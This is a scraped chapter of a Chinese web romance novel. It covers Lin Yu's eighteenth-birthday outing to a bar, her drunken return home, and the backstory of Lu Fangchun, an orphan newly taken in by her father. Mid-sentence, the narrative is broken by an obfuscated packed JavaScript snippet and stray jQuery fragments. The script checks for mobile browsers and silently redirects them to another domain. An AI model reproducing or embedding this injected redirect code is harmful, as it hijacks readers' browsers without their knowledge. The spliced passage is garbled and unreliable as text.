3. 醉酒ed

作品:《吻上你眉梢

    父亲都那么说了,林虞表面功夫怎么都得做。她其实也想过阳奉阴违,但不想用在父亲身上。


    深呼吸一口气,等父亲走后,她慢吞吞地从犄角旮旯将钥匙扣找回来,与新得的钥匙串在一起。


    她举起看了看,过后懒懒垂眸,倒也不难看。


    拉开床头屉子将钥匙放好,准备抽个时间去新房看看。


    因为刚得了套公寓,她心头云销雨霁、面色转晴,决定不再与父亲怄气。


    将等会儿要穿的衣服找出来摆在床尾,转而去浴室敷了张面膜,又听了会儿歌,等待时间到点去赴约。


    良久,静默的手机震动了下,是来嘉颖发来的出门提醒。


    林虞看了眼时间,马上十点了,距离今天结束仅有两个小时。


    离了室内她才知道什么叫海天云蒸,全世界都仿佛在躁动,热浪滚滚,燥热难消。


    大步钻进蛰伏在门口的黑色卡宴,感受里面冒出的徐徐凉气,这才觉得自己总算从沙漠走进了绿洲。


    她刚坐稳,同在后排的来嘉颖就将一个印着“BVLGARI”字样的盒子塞进她怀里,“想着今晚要见面,就等着亲手给你,没晚吧?”


    与她不同,来嘉颖热衷于出席各种名流聚会,再加上她爸是国际某著名导演,她从小就跟着在娱乐圈露面,是海城有名的富二代。


    林虞笑着摇头:“怎么会呢。”


    话落,浓淡相宜的香水味簇拥过来,来嘉颖抱了她一下:“生日快乐,鱼鱼。”


    “别搞那么肉麻,怪不习惯的。”林虞接住盒子,一边假意吐槽一边回抱住她,并趁机贴了贴她脸上的软肉。


    来嘉颖身高一米六五,体重一百三十斤,平日里她总嫌弃自己胖,嚷着要减肥,但在林虞看来,她身上的每一处肉肉都长得恰到好处,香香软软的像棉花糖一样。


    在所有朋友中,林虞最喜欢粘着她。


    目的地不远,等两姐妹寒暄结束刚好也就到地方了。


    不算奢华气派的门头,甚至从外面都看不出这是一家酒吧。胜在端庄雅致,像是玫瑰丛中兀然生出的一朵重瓣百合,以独特风格在这条街上占得一席之地,成为海城有名的销金窟之一。


    卡宴穿过一排排豪车,昭示来这里玩的都非富即贵。


    林虞不是第一次来这里了,「清越」是她的好友赵越景家的产业。


    赵越景早就提前出来等了,他从外边拉开车门,伸手挡住车顶,“你们终于来了!”他一身纯白休闲短装,气质温润怡人,如沐春风。


    林虞笑着和他打了招呼,“好久不见,景哥。”


    “景哥,今晚就叨扰你了。”后一步下车的来嘉颖笑容可掬。


    “这就见外了,鱼鱼的生日我做好朋友的帮着做点事不是应该的吗?跟我来吧,包厢里面都准备好了。”赵越景淡然一笑,关上车门走在前面带路。


    高天悬月下,其背影高大落拓,在无人注意的角落,来嘉颖的目光悄然追逐着他。


    里面气氛正热,脚刚踏进去磅礴的音乐便铺天盖地,两个截然不同的世界被一道门隔开,进来了才知什么叫灯红酒绿。


    五颜六色的诡谲灯光在脸上闪烁不停,来嘉颖挽上林虞的胳膊,与她耳语:“鱼鱼,你说景哥在学校是不是很多人追啊?”


    赵越景今年下半年开学就大二了,学校不在海城,这也是放暑假才得空回来。以前天天待在一起没觉得有什么,现在天高皇帝远的,来嘉颖忽然有了一种难言的危机。


    一路上了二楼,装潢变得雅致,灯光没那么闪了,声音也没那么躁。


    林虞真心实意:“景哥温柔贴心,生活里很会照顾别人的情绪,而且长得也帅,在这个圈子里还能做到洁身自好,确实挺讨人喜欢的。”


    不过要论亲近,怕是没人能比的上青梅竹马一起长大的来嘉颖。


    只是林虞这句话还没来得及说出口就被打断。


    赵越景豁然转头,扭开面前的门提醒说:“到了。”注意到来嘉颖不如来时情绪高涨,他随口问了句:“怎么了嘉颖?”


    没想到她这么微弱的情绪变化他都发现了,被他这么一关心,来嘉颖心情很快又莫名其妙地好了,她眉眼弯弯:“没事景哥。”


    她本来还想粘着他打听一些他大学的事,想试探下口风,不过想着今晚的寿星不能被冷落,遂放弃。


    因为提前打过招呼,所以今夜包厢里暂时就只有他们三个人,主要是林虞不想好不容易过个生日还要费心费力地招呼一大群人,恐怕还没好好感受快乐自己就先累死了。


    “铭西怎么没一起来?”赵越景冷不丁想起这人,觉得此事稀奇。


    如此重要的日子,向来喜欢围着林虞转的顾铭西竟然不在。


    “说是有事走不开,不过礼物倒是第一个到。”林虞懒洋洋地窝进沙发里,那姿态和在自家没差。


    “难怪。”赵越景点点头,举起手机示意,“我先接个电话。”


    他离开了一会儿,回来时带来一个六寸的小蛋糕,径直提到林虞面前,“说曹操曹操就到,这是铭西刚派人送过来的。”赵越景随口道:“听说还是他亲手做的,做好特地让人空运过来的。”


    “顾铭西亲手做的?那可了不得。”来嘉颖围上来凑热闹,看后惊呼:“哇!鱼鱼你看这上面的这个小人做的跟你好像啊,我听说做这个好费时间的,顾铭西也就只对你才这么上心了。”


    说着语气一转,气鼓鼓道:“不过这蛋糕这么小,他怕是只打算做给你一个人吃吧。”


    林虞看着精致漂亮的蛋糕,心里暖融融的,嘴上却不甘示弱,“上次他生日我可是想尽办法最后好不容易才为他搞到了有xx签名的绝版球鞋,我比他更上心好吧?”


    来嘉颖皱着小脸,“是是是,你俩关系真好,再说我就要吃醋了!”


    林虞连忙过去哄她。


    包厢里歌声绕梁,吹完蜡烛许完愿,林虞将蛋糕分了,来嘉颖嘴里念着沾了她的光。


    蛋糕她在家吃过了,暂时不想吃,于是让人帮忙装了起来,打算明早当早餐。


    透明几上摆着各种各样的点心和零食,林虞拿了块Laderach巧克力,她第一次吃这个,只吃了一口就扔到了一边,喉咙里甜腻得不行,她拧了瓶矿泉水漱口。


    过了一会儿,侍者终于端着酒进来了,颜色一个赛一个的梦幻。


    “尝尝吧,我觉得这几款味道都很不错,不过也想听听你们的意见。”


    赵越景开始介绍新品的名字和寓意,来嘉颖全神贯注地听着,并积极回应。


    林虞挑了一杯心仪的颜色,粉粉嫩嫩的,像一片粉雾海。


    她酒量其实并不好,但又喜欢尝试各种稀奇古怪的调酒,简称又菜又爱玩。


    现在成年了更是可以光明正大地享用。


    赵越景还在介绍,林虞早已心痒难耐,迫不及待抿了一小口。


    “唔。”她回味地轻轻咂巴着嘴,前调香香甜甜,后调是淡淡的酒精的苦涩,彼此中和,竟出乎意料的好喝。


    她满足地摇晃着酒杯,一连品尝了好几杯,并中肯地提出了一些改进意见。


    干喝无趣,赵越景找到遥控器放下幕布,投了部老电影上去。


    不一会儿,来嘉颖提出玩“逢七必过”的游戏,后来又换了“逛三园”,一路下来就寿星输得最惨,桌上的酒大多都进了林虞的肚子。


    她却没觉得是惩罚,反而喝得很是开心。


    酒酣耳热,一开始还没什么,后来酒劲上来,林虞醉醺醺地倒在来嘉颖身上,脑袋热热的,软绵绵的失了力气。


    结束时已是凌晨一点,酒阑宾散。赵越景临时有事走不开,叫了司机送她们。


    来嘉颖自个儿都不太清醒,却没把林虞丢下车子了事,而是亲自将她扶到家门口。


    林家有门禁,基本到十二点所有人就歇下了。但来嘉颖运气好,碰上了恰巧在院子里吹风的陆方纯,不然惊扰了其他人,再传到林进那里铁定免不了一番说教。


    门开后来嘉颖一瞬不瞬地盯着他,目光摇晃,好半晌才大着舌头说:“诶?好像没见过你,你是新来的佣人吗?”她现在整个脑子都被酒精腌着,晕乎乎的全然忘了林虞给她讲的刚得了个便宜弟弟的事情。


    过了一会儿她又晃晃悠悠地想要去碰他的脸,想要试探一下眼前这漂亮得宛如手办的到底是真人还是假人,却被陆方纯沉默地后退避开了。


    能动,看来是真人了。


    来嘉颖傻乎乎地咧嘴一笑:“现在佣人门槛都这么高了?长这么漂亮怎么不去当明星?”


    说着便自顾往他怀里塞了张不知从哪里掏出来的名片:“有意的话打上面的电话,报我的名字就好。”


    说完毫不客气地将林虞往他怀里一推,“接着。”她完全没反应过来自己根本就没告诉过他自己的名字。


    来嘉颖本身也没多少力气,抱了半天实在是累手得很,而面前这人虽然看着病怏怏的,但高高瘦瘦的,目测有一米八的样子,力气肯定比她大。


    陆方纯慢半拍,等他反应过来时林虞已经稳稳地落在他怀里了。


    浓郁的酒气扑面而来,却不难闻,而是有股淡淡的混合着的甜香,分不清具体是什么味道。


    他小心翼翼的,手上青筋绷紧又松开。


    来嘉颖揉了揉酸疼的手臂,扶着门吩咐道:“带你们大小姐上去吧。”她捂嘴打了个酒嗝,缓了口气后继续磕磕巴巴:“将醒酒汤也备着…半路醒了就让她喝下,没醒就算了…温着明早喝也行。”


    “人就交给你了,我走了。”说完她便趔趄地钻进门口的车里,招呼司机扬长而去了。


    陆方纯这才得空去看怀里的人,看着她细腻泛红的肌肤。


    他眉心不受控制地跳了跳。


    奇特的,白日高高在上的人转眼就醉醺醺的倒在了他怀里。


    她大概还不知道自己抱着的人中途换了,乖乖地靠着他,像小奶猫一样呼吸一起一伏。


    陆方纯抱着她没怎么费力,睡着的林虞少了白日高高在上的距离感,长长的睫毛在软乎乎的脸上投下阴影,清纯无害。


    陆方纯没忍住多看了两眼,发现她其实和林进长得不是很像,他猜她可能更像妈妈多一点。


    小巧的瓜子脸,额头饱满,鼻子挺拔,上下唇丰满,笑起来时甜美动人,不笑时又有一种冷清的距离感。


    ——他记得她当时冲下楼的时候还是笑着的,只是后面看见他后笑容登时就收敛了。


    他懂得察言观色,自然看出了她的不欢迎。


    起初的期待落空,他理所当然地感到难过,那感觉就像是将大把棉花塞进胸口,闷闷的,难以纾解。


    正要收回目光,陆方纯忽然注意到她眉骨有一块疤痕,瓜子仁大小,应该是有些年头了,不注意看看不出来。


    这道疤就像白玉上的裂纹,放在死物上或许是瑕疵,在她脸上却神秘的,有一种破碎的美感。


    喉间陡然涌上一股痒意,今晚吹了太久的风,陆方纯侧头轻轻咳了咳,忽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543000|171073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地将她打横抱起,稳稳地往屋里走去。


    他知道她的房间是哪间,因为就在他的隔壁。


    拧开房门,陆方纯没有四处打量,在别人的私密领地,多一眼都是冒犯。


    扫到大床位置,他径直走过去,他刚一弯腰怀里就骤然一空。林虞一沾上柔软的大床就自动滚进了进去,换了个舒服的姿势一动不动了。


    陆方纯不动声色地脱下她脚上的绑带凉鞋,指尖不经意触上她的肌肤,温热触感如火焰将他烫到。


    她好像哪里都生得漂亮,脚踝线条流畅优美,脚背很窄,足弓如一道优美的弧形桥梁。


    夜里并不安静,夜风流窜,别墅里的绿化面积太多,形成一个小型的自然生态系统,一到晚上青蛙与蟋蟀就开始争相和鸣。


    陆方纯怕她被吵,转身关严窗户,连窗帘也一并拉上了。因为不方便给她换衣服,于是就只能让她这样将就睡了。


    在床头找到遥控器打开空调调到合适温度,顺手将被子拉过来盖在她身上。


    他盯了几秒,见她好眠,便轻手轻脚地关灯离开。


    他一只手搁在把手上,犹豫了几秒,边走边百度醒酒汤的做法。


    岛台的好些东西他都不会用,做好废了一番功夫。


    将汤温好,陆方纯再次回到院子里,走到池塘边的那处凉亭。


    他看着水中自由自在的锦鲤。


    热风黏热,他却不觉得热,塘里夏花绚烂,虫鸣清脆,而他眼前依旧是无边无际的迷惘黑洞。


    他望着天空出神。


    月色凉透,好似能驱暑。


    他呆呆地坐在那,迷惘的,像一个封没写地址的信。


    他很少失眠,却不免因寄人篱下而不安。


    虽然林叔叔对他很好,可别人的屋檐再大,都不如自己有把伞。


    不幸的是他原本的那把伞在一个月前被暴风雨无情地撕碎了。


    他出生于溶城的普通市井,父母在一家服装公司做质检,工资不高,日常开销又大,因此数年来一直没存下积蓄。可生活虽然平淡紧巴,但也平安幸福。


    直到上个月父母在上班路上偶遇恶劣天气遭遇车祸,父亲当场身亡,母亲也在送往医院的路上不幸长辞。


    双亲见背,这世间与他联系最紧密的两根弦猝然崩断,不满十七岁的他成了可怜的遗孤。


    生活很残酷,他甚至来不及悲伤生离死别就得为今后的生存做好打算,万般无奈之下,他最后甚至做了退学出去打工养活自己的打算。


    可就当他一筹莫展之时,一位衣着讲究的先生找到他,说是他父亲的故友,问他可否愿意跟他走。


    他从始至终都没有怀疑过是否是诈骗之类的,毕竟他一无所有。


    他心里清楚,这场暴风雨来得猝不及防,他还没成年,底下根茎都未成熟,还没有独自抵挡风雨的能力。


    他很会审时度势,既然伞坏了,他就应该尽早移栽到更能避雨的屋檐下。


    就这么决定好后,叔叔约了个时间,为他办理好了诸多手续,将他从溶城偏僻的小镇带来了繁华的海城,住进了豪华的别墅。


    在外人看来,他虽然没了父母,但平白冒出来个有钱的叔叔带他去住城里的大房子,以后有这位叔叔铺路,他可谓是直接赢在起跑线上,是旁人几辈子都修不来的福气。


    可唯有他自己知道,一切都只是善良的叔叔顾念着与父亲之间的情谊,许他衣食无忧。


    但事实空花阳焰,没什么是真正属于他的,就连他自己,都是浮在海面的一截断木,随波逐流。


    …


    这位叔叔很温柔很细心,好似看出了他的拘谨,在车上不间断地找着话题与他闲聊。


    先问了他的一些情况,然后说他自己在海城做服装生意,目前发展还不错。


    陆方纯后来才知道叔叔这样讲完全是在谦虚,他可是十大顶级奢侈高定礼服品牌之一AURUM的创始人。


    叔叔很快又介绍他家里的唯一一个女儿,比他大一岁,叫林虞,他可以叫她“晴天姐姐”。


    叔叔解释说“虞”的寓意有期待、善良、自由、快乐、无忧无虑。但名字听着像淋雨,所以才给她取了个晴天的小名。


    为打消他的紧张,也为让他更加了解,也更快融入这个新家,叔叔一路上给他讲了很多女儿小时候的趣事。


    叔叔口中的女儿虽然有时候有些娇气,不过没有坏心眼,很漂亮很可爱,也很有正义感,大家都很喜欢她。


    而今天刚好是她的十八岁生日。


    陆方纯安静地听着。


    提到女儿时这位叔叔脸上是化不开的温柔与爱护,陆方纯因此有些好奇。


    他的同桌就有一个小八岁的妹妹,每每放学都蹲在门口等哥哥下课,小女娃胖得跟年画娃娃似的,很招人稀罕,路过的同学都忍不住塞给她糖吃。


    陆方纯心里渐渐浮起不切实际的期待。


    很快的,叔叔将他带到了家,他终于看到了叔叔口中的女儿。


    她长得好白好漂亮,像是象牙塔里的小公主,水灵灵的又像是黑夜里的明珠。


    她是那样的耀眼,陆方纯也在那一刻明白,若不是父亲与她父亲之间的交情,他可能这辈子都不会和她有半毛钱的关系。


    只是…


    少年微微垂眸,彻底掩盖住眼底不易察觉的失落。


    她好像并不喜欢他。


    尽管如此,为报答叔叔雪中送炭的恩情,他也会爱屋及乌,好好地报答她,甚至…讨好她。